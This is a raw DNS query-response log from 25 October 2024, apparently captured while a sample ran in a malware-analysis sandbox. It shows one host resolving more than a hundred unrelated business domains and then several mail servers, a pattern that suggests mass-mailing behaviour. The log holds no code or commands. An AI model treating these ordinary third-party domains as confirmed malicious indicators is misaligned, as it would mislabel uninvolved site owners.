Oct 25, 2024 11:17:34.269575119 CEST	1.1.1.1	192.168.2.5	0xbc7e	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.438791037 CEST	1.1.1.1	192.168.2.5	0x241d	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:34.438791037 CEST	1.1.1.1	192.168.2.5	0x241d	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.562752962 CEST	1.1.1.1	192.168.2.5	0x9af4	No error (0)	www.vazir.se		34.218.204.173	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.686009884 CEST	1.1.1.1	192.168.2.5	0x3f1c	No error (0)	www.nelipak.nl	wp.wpenginepowered.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:34.686009884 CEST	1.1.1.1	192.168.2.5	0x3f1c	No error (0)	wp.wpenginepowered.com		141.193.213.11	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.686009884 CEST	1.1.1.1	192.168.2.5	0x3f1c	No error (0)	wp.wpenginepowered.com		141.193.213.10	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.692827940 CEST	1.1.1.1	192.168.2.5	0x9af2	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.736948967 CEST	1.1.1.1	192.168.2.5	0x558c	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.736948967 CEST	1.1.1.1	192.168.2.5	0x558c	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.910047054 CEST	1.1.1.1	192.168.2.5	0xe433	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:34.910047054 CEST	1.1.1.1	192.168.2.5	0xe433	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:34.910047054 CEST	1.1.1.1	192.168.2.5	0xe433	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:34.963677883 CEST	1.1.1.1	192.168.2.5	0xb5fc	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:34.963677883 CEST	1.1.1.1	192.168.2.5	0xb5fc	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.110663891 CEST	1.1.1.1	192.168.2.5	0xeb5c	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:35.110663891 CEST	1.1.1.1	192.168.2.5	0xeb5c	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.264461040 CEST	1.1.1.1	192.168.2.5	0x20d5	No error (0)	www.iamdirt.com	ext-sq.squarespace.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:35.264461040 CEST	1.1.1.1	192.168.2.5	0x20d5	No error (0)	ext-sq.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.264461040 CEST	1.1.1.1	192.168.2.5	0x20d5	No error (0)	ext-sq.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.264461040 CEST	1.1.1.1	192.168.2.5	0x20d5	No error (0)	ext-sq.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.264461040 CEST	1.1.1.1	192.168.2.5	0x20d5	No error (0)	ext-sq.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.352788925 CEST	1.1.1.1	192.168.2.5	0xe597	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.354115963 CEST	1.1.1.1	192.168.2.5	0x4bbc	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:35.354115963 CEST	1.1.1.1	192.168.2.5	0x4bbc	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.512475014 CEST	1.1.1.1	192.168.2.5	0x5679	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.598395109 CEST	1.1.1.1	192.168.2.5	0xbb13	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:35.598395109 CEST	1.1.1.1	192.168.2.5	0xbb13	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.629909992 CEST	1.1.1.1	192.168.2.5	0xd2fb	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.956129074 CEST	1.1.1.1	192.168.2.5	0x82fd	No error (0)	www.wifi4all.nl		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:35.956129074 CEST	1.1.1.1	192.168.2.5	0x82fd	No error (0)	www.wifi4all.nl		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.105551958 CEST	1.1.1.1	192.168.2.5	0x39e8	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:36.105551958 CEST	1.1.1.1	192.168.2.5	0x39e8	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.213376045 CEST	1.1.1.1	192.168.2.5	0x17f1	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:36.213376045 CEST	1.1.1.1	192.168.2.5	0x17f1	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.629985094 CEST	1.1.1.1	192.168.2.5	0xedd8	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:36.905386925 CEST	1.1.1.1	192.168.2.5	0xef0d	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:36.905386925 CEST	1.1.1.1	192.168.2.5	0xef0d	No error (0)	maktraxx.com		5.189.128.121	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.075001001 CEST	1.1.1.1	192.168.2.5	0x8d96	No error (0)	www.fcwcvt.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.075001001 CEST	1.1.1.1	192.168.2.5	0x8d96	No error (0)	www.fcwcvt.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.080401897 CEST	1.1.1.1	192.168.2.5	0xcfd	No error (0)	www.cokocoko.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:37.080401897 CEST	1.1.1.1	192.168.2.5	0xcfd	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:37.080401897 CEST	1.1.1.1	192.168.2.5	0xcfd	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.080401897 CEST	1.1.1.1	192.168.2.5	0xcfd	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.082099915 CEST	1.1.1.1	192.168.2.5	0xfea6	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.082099915 CEST	1.1.1.1	192.168.2.5	0xfea6	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.143004894 CEST	1.1.1.1	192.168.2.5	0x27d0	No error (0)	www.gpthink.com	731a7d09.cname.cpolar.cn		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:37.143004894 CEST	1.1.1.1	192.168.2.5	0x27d0	No error (0)	731a7d09.cname.cpolar.cn		116.211.150.37	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.195662975 CEST	1.1.1.1	192.168.2.5	0xd9fb	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:37.195662975 CEST	1.1.1.1	192.168.2.5	0xd9fb	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.289000034 CEST	1.1.1.1	192.168.2.5	0x719b	No error (0)	www.yocinc.org		154.53.43.150	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:37.942447901 CEST	1.1.1.1	192.168.2.5	0xf5c4	No error (0)	www.udesign.biz	udesign.biz		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:38.024946928 CEST	1.1.1.1	192.168.2.5	0x721b	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.067255020 CEST	1.1.1.1	192.168.2.5	0x8ced	No error (0)	www.snugpak.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:38.067255020 CEST	1.1.1.1	192.168.2.5	0x8ced	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.332039118 CEST	1.1.1.1	192.168.2.5	0xd59d	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.332039118 CEST	1.1.1.1	192.168.2.5	0xd59d	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.332039118 CEST	1.1.1.1	192.168.2.5	0xd59d	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.357306004 CEST	1.1.1.1	192.168.2.5	0xb75c	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.636037111 CEST	1.1.1.1	192.168.2.5	0x157f	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.995752096 CEST	1.1.1.1	192.168.2.5	0x580e	No error (0)	www.stnic.co.uk		213.165.251.217	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.995892048 CEST	1.1.1.1	192.168.2.5	0xc7d9	No error (0)	www.fink.com		75.119.202.130	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:38.996185064 CEST	1.1.1.1	192.168.2.5	0x8926	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.331916094 CEST	1.1.1.1	192.168.2.5	0xa3c3	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.331926107 CEST	1.1.1.1	192.168.2.5	0xa3c3	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.337223053 CEST	1.1.1.1	192.168.2.5	0xa3c3	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.572999954 CEST	1.1.1.1	192.168.2.5	0x6c27	No error (0)	www.photo4b.com		195.78.66.65	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.736913919 CEST	1.1.1.1	192.168.2.5	0xd01c	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:39.736913919 CEST	1.1.1.1	192.168.2.5	0xd01c	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.245.31.21	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.736913919 CEST	1.1.1.1	192.168.2.5	0xd01c	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.245.31.120	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.736913919 CEST	1.1.1.1	192.168.2.5	0xd01c	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.245.31.54	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.736913919 CEST	1.1.1.1	192.168.2.5	0xd01c	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.245.31.61	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.787091017 CEST	1.1.1.1	192.168.2.5	0x63eb	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.819235086 CEST	1.1.1.1	192.168.2.5	0x57b6	No error (0)	www.jchysk.com		69.163.182.181	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.870021105 CEST	1.1.1.1	192.168.2.5	0x3b1d	No error (0)	www.findbc.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:39.870021105 CEST	1.1.1.1	192.168.2.5	0x3b1d	No error (0)	www.findbc.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.255078077 CEST	1.1.1.1	192.168.2.5	0x3218	No error (0)	www.ex-olive.com		183.90.183.73	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.337407112 CEST	1.1.1.1	192.168.2.5	0x3db5	Name error (3)	www.valselit.com	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.359034061 CEST	1.1.1.1	192.168.2.5	0xa894	No error (0)	www.netcr.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:40.359034061 CEST	1.1.1.1	192.168.2.5	0xa894	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:40.359034061 CEST	1.1.1.1	192.168.2.5	0xa894	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.359034061 CEST	1.1.1.1	192.168.2.5	0xa894	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.401657104 CEST	1.1.1.1	192.168.2.5	0x4501	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:40.401657104 CEST	1.1.1.1	192.168.2.5	0x4501	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.761579990 CEST	1.1.1.1	192.168.2.5	0x70b9	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:40.770440102 CEST	1.1.1.1	192.168.2.5	0xbeeb	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:40.770440102 CEST	1.1.1.1	192.168.2.5	0xbeeb	No error (0)	crcsi.org		165.22.45.169	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:41.511496067 CEST	1.1.1.1	192.168.2.5	0x51a2	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:41.658305883 CEST	1.1.1.1	192.168.2.5	0xa011	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:41.658305883 CEST	1.1.1.1	192.168.2.5	0xa011	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:41.658305883 CEST	1.1.1.1	192.168.2.5	0xa011	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:41.658305883 CEST	1.1.1.1	192.168.2.5	0xa011	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:41.658305883 CEST	1.1.1.1	192.168.2.5	0xa011	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.224152088 CEST	1.1.1.1	192.168.2.5	0xfde5	No error (0)	www.lrsuk.com	lrsuk.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:42.224152088 CEST	1.1.1.1	192.168.2.5	0xfde5	No error (0)	lrsuk.com		144.76.24.9	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.238619089 CEST	1.1.1.1	192.168.2.5	0x57be	No error (0)	www.dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.238619089 CEST	1.1.1.1	192.168.2.5	0x57be	No error (0)	www.dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.246562958 CEST	1.1.1.1	192.168.2.5	0xe0af	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:42.246562958 CEST	1.1.1.1	192.168.2.5	0xe0af	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:42.246562958 CEST	1.1.1.1	192.168.2.5	0xe0af	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.246782064 CEST	1.1.1.1	192.168.2.5	0x4b86	No error (0)	www.tyrns.com		217.79.184.35	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.247955084 CEST	1.1.1.1	192.168.2.5	0x1731	No error (0)	www.medisa.info		13.248.252.114	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.247955084 CEST	1.1.1.1	192.168.2.5	0x1731	No error (0)	www.medisa.info		99.83.138.213	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.263850927 CEST	1.1.1.1	192.168.2.5	0xbb44	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.366671085 CEST	1.1.1.1	192.168.2.5	0xb095	No error (0)	www.x0c.com		185.53.177.50	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.391058922 CEST	1.1.1.1	192.168.2.5	0x47f1	No error (0)	www.koz1.net		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.573913097 CEST	1.1.1.1	192.168.2.5	0xdec1	No error (0)	www.myropcb.com		74.208.236.101	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.809231997 CEST	1.1.1.1	192.168.2.5	0xb77b	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.809231997 CEST	1.1.1.1	192.168.2.5	0xb77b	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:42.809231997 CEST	1.1.1.1	192.168.2.5	0xb77b	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:43.048285007 CEST	1.1.1.1	192.168.2.5	0x4b36	Name error (3)	www.mobilnic.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:43.748181105 CEST	1.1.1.1	192.168.2.5	0x85d	No error (0)	www.stajum.com		85.131.197.10	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:43.749650955 CEST	1.1.1.1	192.168.2.5	0x70f2	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:43.749661922 CEST	1.1.1.1	192.168.2.5	0x5735	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:43.963207006 CEST	1.1.1.1	192.168.2.5	0x1bc	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:44.053359032 CEST	1.1.1.1	192.168.2.5	0x29	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:44.053359032 CEST	1.1.1.1	192.168.2.5	0x29	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:44.076689959 CEST	1.1.1.1	192.168.2.5	0xf609	No error (0)	www.spanesi.com		5.196.166.214	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:45.066905022 CEST	1.1.1.1	192.168.2.5	0xf19f	No error (0)	www.tc17.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:45.066905022 CEST	1.1.1.1	192.168.2.5	0xf19f	No error (0)	www.tc17.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:45.253590107 CEST	1.1.1.1	192.168.2.5	0xa07b	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:45.487040043 CEST	1.1.1.1	192.168.2.5	0x87f1	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:45.487040043 CEST	1.1.1.1	192.168.2.5	0x87f1	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:46.871854067 CEST	1.1.1.1	192.168.2.5	0xdcd1	No error (0)	mail.airmail.net		66.226.70.66	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:46.871877909 CEST	1.1.1.1	192.168.2.5	0x8460	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:53.275136948 CEST	1.1.1.1	192.168.2.5	0xcc2a	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:54.193259954 CEST	1.1.1.1	192.168.2.5	0x212d	No error (0)	www.fnsds.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:54.193259954 CEST	1.1.1.1	192.168.2.5	0x212d	No error (0)	www.fnsds.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:56.406728029 CEST	1.1.1.1	192.168.2.5	0xce8d	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:17:56.406728029 CEST	1.1.1.1	192.168.2.5	0xce8d	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:56.485816956 CEST	1.1.1.1	192.168.2.5	0xe459	No error (0)	www.railbook.net		103.224.182.253	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:17:58.902065039 CEST	1.1.1.1	192.168.2.5	0x5239	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:00.634996891 CEST	1.1.1.1	192.168.2.5	0x7c44	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:00.634996891 CEST	1.1.1.1	192.168.2.5	0x7c44	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:03.790827990 CEST	1.1.1.1	192.168.2.5	0xf36	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:03.790867090 CEST	1.1.1.1	192.168.2.5	0xf36	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:07.203830957 CEST	1.1.1.1	192.168.2.5	0x3742	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:08.197026014 CEST	1.1.1.1	192.168.2.5	0xb0c4	No error (0)	gmail-smtp-in.l.google.com		142.251.168.27	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:09.282990932 CEST	1.1.1.1	192.168.2.5	0xdbc1	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:11.410865068 CEST	1.1.1.1	192.168.2.5	0xcd68	No error (0)	www.udesign.biz	udesign.biz		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:15.302947044 CEST	1.1.1.1	192.168.2.5	0x892f	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:15.302947044 CEST	1.1.1.1	192.168.2.5	0x892f	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:15.302947044 CEST	1.1.1.1	192.168.2.5	0x892f	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:15.302947044 CEST	1.1.1.1	192.168.2.5	0x892f	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:15.302947044 CEST	1.1.1.1	192.168.2.5	0x892f	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.3.56	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:16.034699917 CEST	1.1.1.1	192.168.2.5	0xe481	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:16.238367081 CEST	1.1.1.1	192.168.2.5	0x56b5	Name error (3)	www.mobilnic.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:16.800956011 CEST	1.1.1.1	192.168.2.5	0x9ed8	No error (0)	smtp.compuserve.com	east.us.smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:16.800956011 CEST	1.1.1.1	192.168.2.5	0x9ed8	No error (0)	east.us.smtp.aol.com	smtp.aol.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:16.800956011 CEST	1.1.1.1	192.168.2.5	0x9ed8	No error (0)	smtp.aol.com	smtp.cs.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:16.800956011 CEST	1.1.1.1	192.168.2.5	0x9ed8	No error (0)	smtp.cs.com	smtp.aol.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:16.800956011 CEST	1.1.1.1	192.168.2.5	0x9ed8	No error (0)	smtp.aol.g03.yahoodns.net		87.248.97.31	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:18.657764912 CEST	1.1.1.1	192.168.2.5	0x4408	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:19.913624048 CEST	1.1.1.1	192.168.2.5	0xccf7	Name error (3)	www.valselit.com	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:20.420953035 CEST	1.1.1.1	192.168.2.5	0xa273	No error (0)	www.udesign.biz	udesign.biz		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 11:18:21.042125940 CEST	1.1.1.1	192.168.2.5	0xba4f	No error (0)	mail.protonmail.ch		185.205.70.128	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:21.042125940 CEST	1.1.1.1	192.168.2.5	0xba4f	No error (0)	mail.protonmail.ch		185.70.42.128	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:21.042125940 CEST	1.1.1.1	192.168.2.5	0xba4f	No error (0)	mail.protonmail.ch		176.119.200.128	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:22.689646959 CEST	1.1.1.1	192.168.2.5	0xdf73	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:26.375922918 CEST	1.1.1.1	192.168.2.5	0x8500	Name error (3)	www.mobilnic.net	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:29.021953106 CEST	1.1.1.1	192.168.2.5	0x4848	Name error (3)	www.valselit.com	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:31.136713028 CEST	1.1.1.1	192.168.2.5	0xf677	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:35.853601933 CEST	1.1.1.1	192.168.2.5	0xd429	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 11:18:37.612004042 CEST	1.1.1.1	192.168.2.5	0xae97	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
